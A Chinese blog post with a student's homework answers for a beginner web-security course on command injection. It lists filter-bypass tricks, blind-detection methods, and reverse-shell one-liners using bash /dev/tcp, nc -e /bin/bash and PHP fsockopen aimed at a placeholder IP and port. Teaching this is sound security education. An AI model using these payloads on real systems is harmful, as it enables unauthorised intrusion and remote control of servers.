zoukankan      html  css  js  c++  java
  • i春秋web作业2.28——命令注入

    Web安全工程师(入门班)

    【全国线上入门班53期】课后作业

     

    2020-2-28

    DorinXL

     

    1. 查资料都有哪些绕过命令注入过滤技巧?

      1.黑名单绕过

      字符拼接:a=l;b=s;$a$b 输出ls

            2.空格绕过:

            ${IFS}空格
    

            x20转化成字符串也是空格
    

            重定向符<>
    

            3.编码绕过:

                输入echo MTIzCg==|base64 -d,将会打印123

            4.用单引号和双引号绕过:

                例如:ca''t flag 或者是 ca""t flag

            5.反斜杠绕过:

                例如:ca flag

            6.绕过长度限制:

    linux下可以用 1>a创建文件名为a的空文件,ls -t>test则会将目录按时间排序后写进test文件中,sh命令可以从一个文件中读取命令来执行

     

    1. 检测命令注入漏洞时没有回显怎么办?
    • 利用延时命令查看响应速度或者请求服务器查看是否接收到请求。
    • 延时注入:windows:ping 127.0.0.1 -n 5 >nul

      Linux : sleep 5

    • 远程请求:windows : ping,telnet等

              Linux : wget,curl等

    1. 怎么通过命令注入漏洞反弹shell?
    • 反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
    • Bash方式$ bash -c "sh >& /dev/tcp/your ip/port 0>&1"
      
    • exec方式 : $ exec 5<>/dev/tcp/ip/port
    • nc方式
    • 本机运行:
    • nc -l -vv -p port
    • 目标主机:
    • nc -e /bin/bash ip port

       

    • php方式
    • php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'
  • 相关阅读:
    Python3 sorted() 函数
    [Python网络编程]一个简单的TCP时间服务器
    [爬虫]统计豆瓣读书中每个标签下的前两百本书
    [leetcode]39. Combination Sum
    [leetcode]18. 4Sum
    [leetcode DP]72. Edit Distance
    [leetcode DP]120. Triangle
    [leetcode DP]91. Decode Ways
    [leetcode DP]70. Climbing Stairs
    [leetcode DP]64. Minimum Path Sum
  • 原文地址:https://www.cnblogs.com/DorinXL/p/12394365.html
Copyright © 2011-2022 走看看